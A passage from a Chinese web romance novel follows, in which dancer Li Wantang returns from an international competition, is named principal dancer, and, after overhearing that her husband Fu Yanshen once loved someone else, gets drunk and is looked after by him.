就当傅砚深吻住她的锁骨,细细啃咬过后,还想往下时,黎晚棠急忙伸手去推他:“别,这是在车里,而且还有……” 说到这,她忽而偏头,看到驾驶证空无一人,提起的那颗心缓缓落下。 幸好司机没在车上,不然他们刚才的失控真要被司机欣赏完全程,她估计能原地撞破这扇门。 傅砚深抬头直起身,轻啄她的唇:“放心,我心里有数。” 只是忍不住想亲她,不只是唇,还想更多…… 说话间,他大掌依旧贴着她纤细的腰肢,柔软的肌肤让他有点爱不释手。 黎晚棠被他那只游离的大手惹得心痒,只能软软地靠在他胸膛前,任由他为所欲为。 “你怎么成为颁奖嘉宾的?”她憋了半天的问题,终于问出口。 “不费事,只要成为最大的投资方,能拥有很多便利条件。”傅砚深克制心底的欲。望,另一只手将人扣紧。 黎晚棠猛然反应过来,今早他忙着开跨国视频会议,原来就是在处理投资的事。 她嘴角微弯:“你这算不算是假公济私啊。” “RD国际舞蹈比赛,就算不是君安,别的公司都会想方设法搭上关系,促成合作。” 傅砚深实话实说:“君安能谈成这次投资,董事会还得感谢我。” 他低头去看怀里的女孩,勾唇道:“不,确实来说,他们应该感谢傅太太。”- 摩纳哥这场国际赛圆满结束,黎晚棠他们第二天一早就坐上飞往京北的航班。 只是在离开前,他们和傅望舒一起吃了顿离别饭。 饭后三人要分别时,傅望舒抱住黎晚棠久久不肯松手:“嫂子,现在看你们回去,我也有点想家了。” 出国那么久,从来没有分别时的难过,这一刻,她却有点舍不得他们离开。 黎晚棠笑着安慰:“我们很快就会见面的,你寒假不是还要回来吗,这次换我们在家里等你。” 傅望舒撒娇:“那我回去你要过来接我。” “好,我跟你哥都去。” 傅望舒抿抿唇:“其实他来不来无所谓,我只希望看见你。” 站在一旁的傅砚深听到这话,脸色忽变,目光落在傅望舒紧抱黎晚棠腰上的手,冷声道:“你这样抱着我老婆,还想抱到什么时候?” “抱抱又不会怎样,哥你怎么连这个也要吃醋。” 傅望舒对上她哥的眼神,老老实实松开黎晚棠,站了身:“好吧,现在把你老婆还给你。” 他现在是财神爷,惹不起。 傅砚深瞥她一眼,低头拿出手机在屏幕上轻点了几下,很快傅望舒手机的提示音响起。 她拿出看到是转账信息,激动地朝她哥跑了过去:“哥,我也给你一个拥抱吧。” 傅砚深急忙侧身错开:“不必,好好照顾自己,别让爸妈操心。” 傅望舒忙不迭点头:“嗯,放心吧,我会好好学习的。” 黎晚棠站在一旁看着他们两兄妹,从傅砚深叮嘱的话里,能感受到他对傅望舒的关心。 只是有些话跟他本人一样,不会轻易表达。 上飞机后,大家都懒懒散散地平躺在椅子上,拿出长途跋涉的神器,闭眼上,安稳补眠。 这次能和傅砚深一起回国,黎晚棠高兴之余,心里还多了份安心。 最初,傅砚深是要带她去住独立套房,被她拒绝了,毕竟这次过来的不只是她,还有好几位同事。 这样的区别对待,她有点不好意思享受。 退而求其次,最后他们换到了商务舱。 黎晚棠躺下后,偏头去看还在忙工作的傅砚深:“你要不先休息一下,等会儿再工作。” 他们很早就起来了,她担心他会累。 傅砚深侧眸看她一眼,抬手在她发顶上揉了揉:“没事,你先睡吧,我忙完再过来抱你。” “……” 黎晚棠微窘,她又不是这个意思。 余光忙瞥了眼周边的其他人,默默扯过薄毯将自己盖住,闭上眼睛没去看他。 傅砚深见女孩害羞的模样,嘴角微扬。 长达十三个小时的飞行,晚上九点,他们顺利抵达京北国际机场。 一下飞机,大家闻到久违的家乡味,纷纷感慨:“哎,还是国内好,空气都不一样。” “可不嘛,我现在就想吃上一口麻辣火锅,不然回想那些法棍面包,我就要吐了。” 大家闻言,都哈哈大笑起来。 黎晚棠被傅砚深牵着往外走,嘴角噙着浅笑。 如果不是傅砚深过去搞特殊,她估计也得天天吃面包。 就在这时,突然有同事惊呼起来:“呀!机场大厅来了很多记者和粉丝,不会是特意来蹲晚棠的吧!” 听到这话,其他人脸上笑容收敛,抬头齐齐往门口看去。 从粉丝手里的应援牌得知,就是黎晚棠的粉丝。 刘指导忙上前看了几眼,回来说道:“晚棠,确实是你的粉丝,那些记者估计也是在蹲你的,等会儿你就站在中间,我们拥护你出门。” 黎晚棠没见过这样的阵仗,怔怔点头,而后忽然想到什么,忙偏头询问:“你们有谁带口罩了吗?” “我,我带了。”有同事忙从包里翻了出来。 黎晚棠说句谢谢后,拿过一个打开后,递给身旁的傅砚深:“你现在戴上口罩,以防记者拍到你的脸。” 傅砚深盯着眼前的口罩,眉头蹙了起来:“没事。” 他们是合法夫妻,就算拍到也不怕,大不了就公开。 可转念想到黎晚棠即将开启的舞蹈事业,结婚或许会给她带来不必要的麻烦,他又抬手拿了过来。 黎晚棠愣了下,刚才不是不愿意戴吗,怎么又改变主意了。 其实她不是担心结婚的事情会曝光,是怕影响到傅砚深日常生活。 她爸妈现在就是最好的例子,出门总被一些记者缠,她不希望傅砚深也这样。 傅砚深戴上口罩,一群人继续往外走,原本在护栏外的记者蜂拥而至,粉丝见状也跟着跑了过来,现场一片混乱。 就算有同事挡着,依旧挡不住大家的热情。 “晚棠,你真棒!为我们国人争光!” “晚棠,你现场那段随机舞蹈跳得特别好,我重复看了好几遍!” “黎小姐,你对这次夺冠有什么感想?” 刘指导开口:“各位先让让,晚棠刚下飞机需要休息,之后会安排记者会,回答大家的问题。” 可现场的记者和粉丝完全听不进去,记者们想抢一手新闻报道,粉丝则是举着手机疯狂拍照。 机场门口被这样堵得水泄不通,黎晚棠是真没遇见这样的场面,只能跟大家说注意安全。 这时忽然有大量的粉丝挤了过来,眼看黎晚棠要被人群围堵,一只手坚定地拦在她面前:“各位请理智追星,让一让。” 男人身高腿长,身上的气场过于强大,让挤过来的粉丝都愣了片刻,似乎都在想,黎晚棠身边怎么会有那么帅的保镖。 他虽然戴着口罩,也能看出他五官应该不错。 众粉丝失神时,傅砚深立马护着黎晚棠走出机场,迅速上了路边早已停好的商务车。 车门关上,商务车平稳驶出,黎晚棠看着越来越远的人群,轻呼出一口气:“还好你提前有准备,不然我们很难出这个机场。” 傅砚深拽掉脸上的口罩,垂眸沉思起来。 从今晚开始,他们两人单独相处的时光,可能要被这次比赛带来的光环给打破。 黎晚棠见他不说话,偏头看了眼,瞧见他微垂的眉眼,也顾不上前面开车的司机,侧身挽上他的胳膊:“在想什么呢?” 傅砚深低头看了眼她,接着一把将人抱坐在腿上,扣住她的腰压进怀里:“没事,就是觉得又多了一些想要跟我抢你的人。” 刚才的追星场面,他生活中第一次见。 原来真有人愿意放弃自己的休息时间,跑来机场苦苦蹲守。 然而这样的付出,仅仅只是因为喜欢。 他非常不理解这种行为。 听到这话,黎晚棠无奈勾唇:“你最近怎么回事啊,老担心我被人抢走。” 上次是允道,现在是粉丝。 傅砚深拥紧她,下巴抵在她脖颈处,偏头轻轻蹭着她脸颊:“嗯,我心眼小,只想独占你。” 第46章 黎晚棠本以为一夜爆红这样的事情不会发生她身上,可事实却真的发生了。 从机场被大量粉丝接机,到出门被记者围堵,这种现象已经超出她的想象。 能被大家喜欢她是高兴的,但现在出门成了一件偷偷摸摸的事情,也很让人困扰。 好在她回来后,那些记者就没去她家门口蹲守,把目标都转移到了她身上。 可能是臻品豪庭这边的治安管理严格,倒是没有记者混进来,黎晚棠出行时还算方便。 她的突然爆火,傅砚深还帮她安排的一位司机大哥,从他健壮的体型来看,他应该还兼备了保镖的职业。 想到这,黎晚棠抿唇轻笑,毕竟那晚在机场,当时的画面他们都心有余悸,傅砚深估计也是怕了,才如此安排。 从后门进入舞蹈团,有同事看到她纷纷热情打招呼,似乎都在为她这次夺得冠军而感到高兴。 因为她的爆火,连带他们东方舞蹈团跟着上了几次热搜,名气一下子在业内打开,不仅演出的机会多了,慕名而来的舞者也很多。 黎晚棠来到团长办公室,苏清笑吟吟地走上前,给她一个大大的拥抱:“晚棠,你真的太让我骄傲了,因为你的成功,我们舞蹈团也受益颇多!” 没办法,她是团长,利益的事情肯定是要考虑在第一位。 但他们舞蹈团能拥有黎晚棠这样优秀的舞者,她也是真心很高兴。 黎晚棠笑了下,回抱住她:“我能获得这个冠军,少不了舞蹈团对我的支持。” 两人相互寒暄一番后,落坐在一旁的沙发上。 苏清笑着开口:“晚棠,你这次国际比赛夺冠,一下子冲上热搜,团里也因此接到了很多的邀约,我们考虑到你刚从国外比赛回来,就对这些没作任何回应,也是想看看你的意思。” 黎晚棠还挺庆幸自己夺得这个冠军的,起码在她回国后能受到团里的尊重,现在这样事情上,她也有了一定的决定权。 膝盖旧伤的事黎晚棠没隐瞒,把在摩纳哥去医院治疗的情况全部告知,并表示自己可能需要休息一段时间。 苏清也意识到她膝盖旧伤的严重性,沉默了会儿,轻声道:“既然如此,最近你就先参加一些独家采访吧,还有京北电视台的邀约,这些曝光让你的人气和热度再往上冲一冲。” “至于演出,我们挑选几场重要的出演,这样也不会影响到你舞蹈事业上的发展。” 苏清分析完,偏头问她:“晚棠,不知我这样的安排,你能不能接受?” 闻言,黎晚棠立马笑着感谢:“谢谢团长的理解,我接受团里的安排。” 在膝盖彻底恢复前,不需要出外巡演,这算是目前最好的结果。 而且团长考虑得很周到,她没有意见。 这次比赛回来,她能在家休息几天,之后才会去接受团里安排的采访和演出。 她今天过来也是跟团长汇报工作,顺便跟同事们聚在一起聊聊天。 就在这时,白露晞就急匆匆跑了过来:“晚棠,演播厅出事了,你快回去看看。” 黎晚棠忽而地被她拽着往外跑,茫然偏头:“露晞,演播厅出事不应该去找团长吗,你叫我过去能干嘛?” “能,当然能,没有你在这事进行不了。”白露晞朝她神秘一笑。 进行不了? 黎晚棠眉头微蹙,心想,难道是团里要给她搞个表彰大会? 可刚才团长没说有这一项流程。 不知道发生了什么事,只能跟着白露晞往里走。 只是快到门口时,白露晞找借口离开:“晚晚,我还需要去叫其他人,你先进去啊。” 说着,她快步转身离开。 黎晚棠盯着她跑远的背影,脸上的疑惑越来越大,但是都来到门口了,也只能进去看看才知道情况。 这会儿不是演出的时间,里面的灯光昏暗,看得不太真切,只有舞台中央有一束微弱的灯光。 黎晚棠小心翼翼往里走,偏头四处察看,这里好像除了她根本没有其他人。 所以白露晞说的出事,指的是人还是物。 她一步步来到舞台中央,又侧身环视一圈,实在没看出什么异常,正准备离开时,头顶一束强光忽然投下。 原本空无一人的演播厅,瞬间出现众多熟悉的面孔。 黎晚棠表情愣住,还没意识到发生什么时,一阵阵掌声响起,所有人都面带笑容的看着她。 紧接着,苏清就从人群中走了出来,她眉眼含笑地来到舞台中央,偏头看了眼大家:“都知道我们来这里是干嘛的吧。” 有人笑着回答:“知道!” 苏清笑了下,又认真道:“其实我站在这里是代表舞团领导,正式宣布一件事,就是从今天开始,我们东方舞蹈团再升一位首席。” 这句落下,所有人的目光都看向黎晚棠。 苏清见状,好笑道:“看来大家都猜到了,既然都知道,那我们一起说出她的名字。” 大家齐声喊出:“黎晚棠!” 极其响亮的三个字在耳边响起,黎晚棠错愕地扫了眼大家,眼眶微微泛起湿润。 成为首席是她意料之中的事,此刻又有些意料之外。 她没想到团长会用这种惊喜的形式宣布,感动之余,心里更多的是难以言表的激动。 她的梦想,好像正在一个个的实现。 黎晚棠吸了吸鼻尖,弯腰表示感谢,感谢大家的掌声和信任。 “晚棠,你十六年的艰辛付出,执着追求自己的梦想,一步一个脚印得到今天的成就,你是实至名归。” 苏清笑着看向她,眼底的骄傲藏不住:“经过你坚持不懈的努力,成为我们舞蹈团的第一个首席女舞者,希望你以后带领大家创作出更多优秀的作品。” 这话落下,新一轮的掌声再次响起,比之前更加热烈。 而消失半天的白露晞,也在这时抱着一束鲜花朝她走了过来。 “晚晚,别怪我骗你,是大家说想给你一个意外惊喜。” 说着,白露晞把那束百合送给她:“我们舞蹈团的最美首席,请收下大家的祝福吧。” 黎晚棠抿了抿嘴角,随即笑着接了过来,又朝大家弯腰感谢:“谢谢,我以后会更加努力的。”- 刚获得国际比赛的冠军,现在又成为舞团首席,一股难以言喻的狂喜从心底汹涌而出,她感觉整个人都要飘了起来。 就像此时坐着的不是坐垫,而是柔软洁白的云朵,嘴角完全不受控制地向上扬着。 她偏头看了看窗外闪过的景色,又低头看向手里的百合花,最后按捺不住内心的激动,拿出手机给沈老师打去电话。 那边刚接通,黎晚棠就迫不及待地开口:“妈,我答应你的事已经做到了。” 沈听荷先是拧眉沉思了一会儿,随即想到什么,有些激动地开口:“棠棠,你是说,你今天正式成为你们舞蹈团的首席了?” 黎晚棠重重点头,声音里有掩饰不住的喜悦:“嗯,团长刚刚宣布,我是团里的第一个首席女舞者。” 她抿唇深吸口气,低声道:“妈,我没有食言,曾经向你承诺的事情通通实现了,我不仅拿回RD的总冠军,如今首席舞者的身份也成功拿到了,我是不是很厉害?” 听着她这么说,沈听荷抬手擦了擦微湿的眼角,弯唇笑道:“棠棠,其实你在妈妈心里一直都很优秀,你不管学什么都认真,从学跳舞的那天起,你就没说一句苦和累的话,所以你这些年的努力和坚持没有白费。” 她似乎哽咽了下,又据悉说:“棠棠,你就是妈妈这一辈子最大的骄傲。” 这么煽情的话,黎晚棠还是第一次听,沈老师平时对她的关心从不隐藏,唯独不敢轻易夸她,就是怕她过度骄傲,从而放弃努力和坚持。 如今听到这些话,她鼻尖泛酸,眼角不由自主地流下泪水。 不是伤心难过,而是喜极而泣。 回到臻品豪庭,傅砚深还没回来,黎晚棠换上拖鞋,先把那束百合找个花瓶放进去。 淡淡的香味,瞬间在客厅内弥漫开来。 似乎心情太好,她此刻完全坐不住,将客厅音乐打开,光着脚丫在地毯上,跳了一首极其欢乐的探戈。 石头像是被她所感染,也从充电桩里转了出来,慢吞吞地来到她身旁。 黎晚棠低头看了眼它,嘴角笑容更盛,心情越发舒畅。 傅砚深推门进屋,就看见这样一幅画面。 女孩身穿一条淡粉色连衣裙,正光脚踩在客厅的地毯上仰头旋转,脚尖节奏很快,嘴角挂着一抹灿烂的笑容,隔老远,都能感受到她的喜悦。 她脚边是动作笨拙的石头,平时转圈速度挺快的,现在要一前一后地挪动,那模样怎么看怎么滑稽。 傅砚深索性倚在玄关柜上,也不着急进去,目光柔和地望着一人一机器,内心格外平静。 黎晚棠是转身时才发现玄关处的傅砚深,见他目光紧盯着自己,她停下舞步,快速朝他飞奔过去:“老公,你回来了。” 不知从什么时候开始,她对他的称呼不再是连名带姓,老公两字已经成为很顺嘴的话。 见她冲过来,傅砚深急忙站直身子,张开手臂将人稳稳抱进怀里,下巴抵在她发顶,笑问:“发生什么事了,今天那么高兴?” 黎晚棠从他怀里抬头,轻眨着眼睫:“你猜猜看?” 傅砚深挑眉:“被领导表扬了?” 黎晚棠摇头:“再猜。” 傅砚深余光瞥见中岛台上的百合,又道:“收到粉丝送的花。” 黎晚棠抿唇轻笑,白露晞是她的小迷妹,也勉强算是她的一个粉丝:“有点接近了。” 傅砚深盯着女孩那双缀满星辰的双眼,没忍住在她唇上亲了下:“能让傅太太这么高兴的事,那就只有舞团首席了。” 其他愿望都实现了,成为首席是她目前最大的愿望,从此刻她脸上的表情来看。 他没猜错。 “老公,你这颗聪明的脑袋到底是吃什么长大的,怎么转得那么快?” 黎晚棠诧异地看向他,眼底的崇拜藏不住。 傅砚深笑着把人抱了起来,边低头换上拖鞋,边亲她:“跟吃没关系,天生的。” 唇瓣忽然被他吻住,黎晚棠趁他退开的空隙,忙问:“不是,你突然这样是要干嘛?” 傅砚深眼底逐渐染上暗色,低头再次衔住她的唇:“同事都给你送花了,作为老公应该也有所表示。” 知道他想干嘛,黎晚挣扎道:“可我还没吃饭呢。” 不吃饭,她那有力气来应付他的持久力。 傅砚深抱着她一边吻,一边往卧室走,进门时,忽而抬起右脚把房门勾上。 砰一声,直接把身后的石头关在门外。 他弯腰将人放在床上,密密麻麻的吻落在她身上,最后轻咬在她若隐若现的锁骨上,声音低沉又暗哑:“棠宝,你现在先把我喂饱,晚点我亲自喂你。” 黎晚棠反驳的声音被他尽数吞掉,房间除了急促的呼吸声,还偶尔传出几道闷闷地催促声。 石头在门外孜孜不倦地转了两圈,只能无功而返- 黎晚棠在家休息了几天,傅砚深每天都送她去做理疗,膝盖在这期间逐渐恢复正常。 之前约好的采访也陆续开始录制,苏清考虑到黎晚棠现在的身份特殊,特意给她安排一名助理,做一些她不方便做的事情。 现在黎晚棠走到哪里,都能被粉丝围着要签名和拍照,她脾气好,性格也好,耐心签完每一个粉丝递过来的本子,而后笑着朝他们挥手告别。 这段路透的视频再一次传到网上,网友看了疯狂圈粉。 或许是最近的人气比较高,她每一条采访的播放量都极高,这也让大家逐渐关注到,这个叫黎晚棠的古典舞演员。 更有网友扒出她小时候跳舞的照片,以及各种比赛视频,实至名归这个词得到了印证。 这天她刚结束一个独家采访,助理小莉就跑过来告诉她,团里今晚帮她准备了一个庆功宴,顺便祝贺她升为首席。 得知这个消息时,黎晚棠还蛮惊讶的,毕竟团里从没有这样的先例,现在因为她破例。 不过小莉说,这个庆功宴属于小型的团队聚会,没有邀请媒体和圈内人士,只有一些团领导出席。 闻言,黎晚棠顿时没了什么心理负担,前往会所的路上,她先跟傅砚深发了条信息:【老公,今晚我们团里举办了庆功宴,我可能没那么早回去。】 傅砚深:【嗯,我今晚正好也有应酬,结束后我去接你。】 黎晚棠笑着回了个好,收起手机时,余光不经意瞥见小莉正笑吟吟望着她。 “……” 她轻扯了扯唇,问:“怎么了?” 小莉急忙摇头:“没什么晚棠姐,我只是感觉你这个样子,有点像在谈恋爱。” 在她接到这个助理的工作时,就已经知道黎晚棠结婚了,可从这两天的状态来看,她更像在谈恋爱,嘴角总挂着浅笑。 黎晚棠浅浅勾唇:“嗯,我也感觉像在谈恋爱。” 在摩纳哥身心交融后,他们两人的感情越来越好,也让黎晚棠感受到谈恋爱的那种幸福感。 很快,车子抵达目的地。 黎晚棠下车才发现,这里竟是她上次和傅砚深来过的懿府。 抵达包厢时,很多同事已经来了,看到黎晚棠,大家纷纷举起手里的香槟:“呀,我们今晚的主角来了,来来来,大家为晚棠举杯。” 平时严肃的领导们也举起杯子,说了一些鼓励及加油的话,黎晚棠笑着点头,率先喝掉杯中的香槟。 此刻包厢气氛还算热烈,所有人脸上都带着笑容,看似放松随意,没有演出的同事,甚至还喝了一点洋酒。 白露晞端着酒杯,笑着落坐在她身旁:“晚晚,你要不要也来一点,反正你最近没有演出。” 她最近各种采访都排满了,还是有电视台的访谈节目,确实没有演出。 “算了,比起酒,我还是更喜欢喝果汁。”黎晚棠笑着婉拒,顺便提醒她少喝点。 中途,她起身出门去上洗手间,回来经过走廊旁的露台时,余光不经意看到程晏川的身影。 他看似在跟另外一人聊天,两人指尖都夹着点燃的香烟。 毕竟认识,而且他还是傅砚深的兄弟,没理由碰见了,她不过去打招呼的。 这般想着,黎晚棠抬脚走了过去,只是在她靠近时,听到了他们的谈话内容。 那人问:“老傅等会儿真要过来呀?” 程晏川吸了口烟,点头:“嗯,是过来接她老婆,没空搭理你。” “啊?他真结婚了,我还以为是你们跟我开玩笑呢。” 那人停顿了下,又道:“不对呀,老傅心里不是藏有一个爱而不得的姑娘吗,怎么突然就结婚了?” 黎晚棠听到这句,上前的步子倏地停了下来。 心脏猛然收紧,她轻眨了眨眼,以为是自己听错了。 爱而不得的姑娘? 很快,黎晚棠就从程晏川的笑声里得到了答案。 “你知道就行,回去别乱说,这可是砚深藏在心里多年的秘密。” 第47章 傅砚深心里藏有一个喜欢多年的姑娘? 黎晚棠低头默念了遍,心脏像被针扎一样揪着疼,整个人站在原地傻愣住。 他是有多喜欢才会藏在心里多年。 或许是从小就认识,又或许是出于对他性格的了解,她完全没想到傅砚深会有暗恋的女生。 像他那种人高中除了学习,还是学习,性格死板得像根石头柱子,原来他也有暗恋对象,而且还藏了那么多年。 那现在呢? 他心里的那道白月光依旧还存在吗? 一想到傅砚深曾经很喜欢过一个女孩,她整个人就像被泡进醋桶似的,从里酸到外。 瞬间理解了,他前几天说的占有欲。 现在她对他,又何尝不是。 不知从什么时候开始,她对傅砚深有了贪念,贪念他的好,他的照顾,贪念他只爱过她一个人。 就像她一样,他们是彼此的唯一。 现在却无端冒出一个白月光,她不敢去细想,傅砚深到底是有多喜欢,才会把她默默藏在心里多年,没让任何人发现。 黎晚棠深吸口气,心里乱成一团,此时也无心上前去跟他们打招呼,慌乱转身时,却不小心踢到角落存放的灭火装置。 清脆的声音在这寂静的夜里格外清晰,她不敢回头,快步跑了出去。 程晏川侧身看过去时,只能看到一个模糊的身影。 他微眯了眯眼,感觉有点像黎晚棠,但又不确定。 只但愿不是,不然他会被傅砚深打死。 黎晚棠一口气跑回包厢,心不在焉地落在之前的位置上。 白露晞见状,偏头询问:“怎么了,不会是碰到记者了吧?” 黎晚棠猛然回神看她,接着忙摇头:“不是,走廊有点黑,我怕。” “这么奢华的会所你还害怕黑呢。” 白露晞弯唇轻笑出声,端起酒杯又抿了口:“人家这种叫氛围感,太亮反而没了格调。” 黎晚棠没说话,眼睛却直勾勾盯着她手里的酒杯,片刻后,她低声问:“好喝吗?” 白露晞愣了下,随即才明白过来她问的是酒,怔怔道:“……还行啊,你要喝吗?” “可以,她也来一杯。” “啊?” 白露晞以为自己听错了,又重复一遍:“你真要喝呀?” 黎晚棠见她不动,弯腰准备去拿酒瓶,白露晞反应过来,立马拿过空杯给她倒了半杯:“这酒有点烈,你不能一口闷,需要一点点品——” 只是她话还没说完,黎晚棠杯中的酒已经没了。 几秒后,黎晚棠皱眉评价:“好辣啊,没饮料好喝。” 白露晞有些哭笑不得:“晚晚,酒不是这样喝的,而且你刚才喝得太急了,其实还可以兑点饮料。” 说着,她重新倒了半杯,又往里兑了点绿茶,晃了晃递给黎晚棠:“再尝尝?” 黎晚棠盯着这酒杯看了看,狐疑地接了过来,这次不像刚才那样仰头一口闷,而是伸出舌头一点点去品尝。 下一秒,她眼睛骤亮:“嗯,这样好像是好喝点。” 白露晞瞧她像初次喝酒的模样,咧嘴笑道:“你刚才不是说不喝的吗,怎么从洗手间回来就想喝了?” 听到这话,黎晚棠扬起的嘴角逐渐抿成直线。 虽然她清楚那段暗恋已经成为了过去式,而且傅砚深现在喜欢的人是她,但只要想到他曾经如此隐秘的喜欢过另一个女孩。 她心里还是有点堵得难受。 黎晚棠又仰头喝了口,暗暗安慰让自己想开点,别为了这种过去的事情添堵。 毕竟她拥有的是傅砚深的未来,人总要往前看的。 她扯唇放下酒杯,偏头去看身旁的白露晞:“挺好喝的,你再给我调一杯。” “……” 闻言,白露晞表情怔怔地盯着黎晚棠看,总感觉她从洗手间回来后情绪就不太对劲,但她又说不出来是哪里不对劲。 反正就跟平时的状态不一样,不敢让她这么喝下去,她只能把黎晚棠的助理叫了进来。 然而他们刚出包厢,黎晚棠包里的电话就响了起来。 白露晞忙弯腰帮她翻出手机,看到来电显示老公两字,立马转手递给黎晚棠:“晚晚,是你老公的电话。” 听到是傅砚深,黎晚棠晃晃悠悠站起身,抬手接过:“傅砚深,你是来接我了吗?” 此时正在程晏川包厢里的傅砚深,听着她说话声音不对,一下子从沙发站了起来:“你喝酒了?” 对面人不知说了什么,他眉头微蹙:“那你站在那里别动,我现在就过去接你。” 挂掉电话,傅砚深偏头去看其他人:“你们喝,我先走了。” 程晏川盯着傅砚深离开的背影,心里的疑惑越发浓烈。 或许,刚才在露台外的女人就是黎晚棠。 想到这,他抬手揉了揉眉心,暗暗祈祷别出什么乱子- 傅砚深快步来到黎晚棠所说的包厢门口,还未走进,就看到被人一左一右搀扶的黎晚棠。 他拧眉快步走了过去:“她今晚怎么喝酒了?” 白露晞听到男人质问的语气,莫名有种被家长盘问的错觉,她扯了扯唇,老实回答:“……晚晚说想尝尝,我就给她倒了半杯。” 其实总共加起来还没两杯呢,可能是黎晚棠平日很少喝酒,所以一下子就喝多了。 小莉是第一次见傅砚深,稳稳扶着黎晚棠,没敢说话。 感觉男人气场挺强的,此刻还略微有点生气。 黎晚棠听到傅砚深的声音,笑呵呵仰起头,脚步虚浮地朝他扑了过去:“老公,真的是你呀。” 傅砚深上前眼疾手快地接住她,把人抱进怀里后,偏头去看白露晞她们:“麻烦你们了,我现在就带她回去。” 说着,他直接弯腰把人打横抱了起来,利落地转身离开。 小莉盯着他们走远的背影,愣怔地去看身旁的白露晞:“露晞姐,我还要跟上去吗?” 好像她的工作还没结束。 白露晞收回视线,偏头朝她意味深长地挑了挑眉:“晚晚有她老公照顾呢,暂时用不上你。” 说着,她又问:“反正你现在也下班了,要不进去玩会儿?” 小莉忙摇头:“不用了,谢谢露晞姐。” 话落,小莉捏紧包包快步离开。 感觉这地方看起来就不便宜,她可不敢乱喝酒,怕误事。 男人沉稳有力的步伐,让眼眸微闭的黎晚棠缓缓睁开,她仰头定定看着眼前的人。 似乎有什么情绪在心底翻滚,她勾紧他的脖子,将脸埋在他胸膛上,瘪嘴道:“傅砚深,你是我的。” 黎晚棠喝多的行为有点像小孩子护食,幼稚得不行。 其实,她只想真实地感受这一刻,他是属于她的。 傅砚深低头看了眼怀里的人,以为她喝多了,并没太在意,还顺势哄她:“嗯,我是你的。” 疾步出了会所,守在门口的司机看到两人出来,快速绕过车头,拉开后座车门。 上车后,傅砚深叮嘱司机开慢点,便把目光落在黎晚棠身上。 女孩喝多后有些黏人,就算上了车,依旧勾住他脖子不放。 傅砚深只能将她抱坐在大腿上,环住她的腰:“今晚怎么突然喝酒了?” 记得她说过,因为从小跳舞,所以她从不喝酒。 黎晚棠脸颊贴在他胸膛上,抬眸看他:“没什么,就是想喝。” 傅砚深以为她是被今晚的气氛感染,所以跟大家喝了一点,可回到家他才意识到,似乎并不是这样。 抵达车库,傅砚深本想让她从他腿上下来,毕竟抱着她不好下车,可女孩却呜呜呜地哭了起来。 “傅砚深,你是不是不爱我了,现在都不愿意抱我。” 前排司机听到这话,下意识看了眼后视镜,他帮黎晚棠开了好几天的车,还是第一次见她露出这样的一面。 此时软软柔柔地窝在傅总怀里,像个易碎的瓷娃娃。 只是他余光对上傅总那双沉冷的黑眸时,茫然收回视线。 嘶,刚才傅总的眼神差点能把他秒杀。 傅砚深不想黎晚棠这样的一面让其他人看见,扯过一旁的薄毯将她包裹严实,拦腰抱下车。 进入电梯后,女孩又挣扎着下地:“我不要抱了。” 说着,她踉踉跄跄挪到他身后:“想要你背我。” 这会儿没法跟喝多的人讲道理,只能顺着她。 傅砚深蹲下身,等黎晚棠靠在他后背上,扶着她的大腿站起身,还不忘偏头叮嘱:“扶稳了,头别往后仰。” 黎晚棠微眯着眼睛,迷迷糊糊点头:“哦,我会抓紧你的,不会让你走。” 叮一声,电梯门恰好在这时缓缓打开。 傅砚深背着她走出电梯,听到这句话后,他脚步忽顿,随即扭头去看她:“今晚是不高兴吗?” “没有啊,大家为我庆贺,我当然高兴。” 黎晚棠说完,脸颊就靠在他肩头,突然问了句:“傅砚深,你以前背过别人吗?” “嗯,背过。” 傅砚深见她不是心情不好,背着她输入秘密,推开门进屋。 “你背过?” 黎晚棠诧异过后,又开始哼唧起来:“你怎么可以背别人呢,你只能背我。” “不是别人。”傅砚深弯腰换上拖鞋,一直将人背进客厅,把她轻轻放坐在沙发上,又蹲下身帮她脱鞋:“就小时候背过望舒两次。” “你既然背望舒……”黎晚棠话刚说一半,立马停了下来:“哦,望舒是可以背的。” 傅砚深被她这副模样逗笑,帮她脱好鞋后,仰头看她:“你是不是喝多了就会哭?” 黎晚棠反应迟钝地思考了会儿,纳纳摇头:“不知道啊,我以前没喝过酒。” “嗯,那以后就别喝了。” 这个时候,傅砚深还在认真跟她讲喝酒的危害性:“喝酒会伤肝脏,大量饮酒还会对胃的黏膜炎产生刺激,明天醒来你就会出现胃酸的反应。” 黎晚棠轻眨着眼睫看着他,见他如此关心自己,蓦地俯身将他抱住:“傅砚深,我好喜欢你呀。” 喜欢到,容不下他心里装着任何一个人。 傅砚深眸光忽闪,片刻抬手轻拍她后背,无奈勾唇:“希望你明天睡醒,还能记住今晚说过的话。”- “嘶……” 黎晚棠头痛欲裂地从床上翻坐起身,还没睁开眼就开始揉犯晕的太阳穴。 这会儿感觉脑子晕晕乎乎的,胃也难受得厉害。 她一点点睁开眼睛在屋内环视一圈,熟悉的环境里,却没看到傅砚深的身影。 偏头看了眼时间,或许这个点他已经去上班了。 既然傅砚深不在,黎晚棠索性也不着急起床,她目光无神地盯着床尾凳,关于昨晚的记忆也在这个时候,断断续续在脑中浮现。 听到程晏川他们的对话,她心里就一直堵得慌,看到白露晞手里拿着的酒杯,那一刻就在想,如果她喝多了,醒来是不是就能把那些话忘掉。 可事实证明,喝多了只会头疼,胃还不舒服。 根本不会忘掉任何一件事,反而有些话更清晰刻入脑海。 傅砚深有喜欢的女孩,而且还喜欢了很多年,估计这个秘密除了熟悉他的朋友知道,连望舒和她婆婆都不清楚。 也是这一刹那,她猛然想到那晚在懿府,裴竞洲那句未说完的话。 只是恰好那个时候,傅砚深推门进来,他及时止住了。 所以裴竞洲当时想表达的意思就是,傅砚深这人不会轻易动情,若一旦动情,他对待喜欢的人就是特别的。 如此说来,那个女孩他们都见过。 想到这,黎晚棠低头深吸口气,心里越发堵得慌。 她一直以为自己对傅砚深来说是特别的,原来根本不是。 早在她还没出现的时候,那个特别的位置已经留给了别人。 傅砚深推开房门时,就看到坐在床上发呆的女孩,意识到什么,他疾步走了过去:“是哪里不舒服吗?” 黎晚棠闻声抬头,就见男人神色紧张地来到她面前,一脸担忧地看着她:“头疼?” 望着眼前的男人,她那颗心暖得不行,鼻尖也酸酸的,低头一把抱住他的腰,声音闷闷地开口:“嗯,头疼胃也难受。” 黎晚棠现在非常确定,傅砚深是爱她的,她不应该去介意他的那些过去。 况且谁还没有过情窦初开的时候,她高中那会儿,还收集过他们校草的照片呢。 这般想着,她心里又稍稍好受了些。 “我煮了小米粥,你去洗漱,我陪你吃点。” 傅砚深轻声哄着,见女孩仍没松手,笑问:“想要我抱你去?” “嗯,这个办法不错。”黎晚棠趴在他怀里,完全不想动。 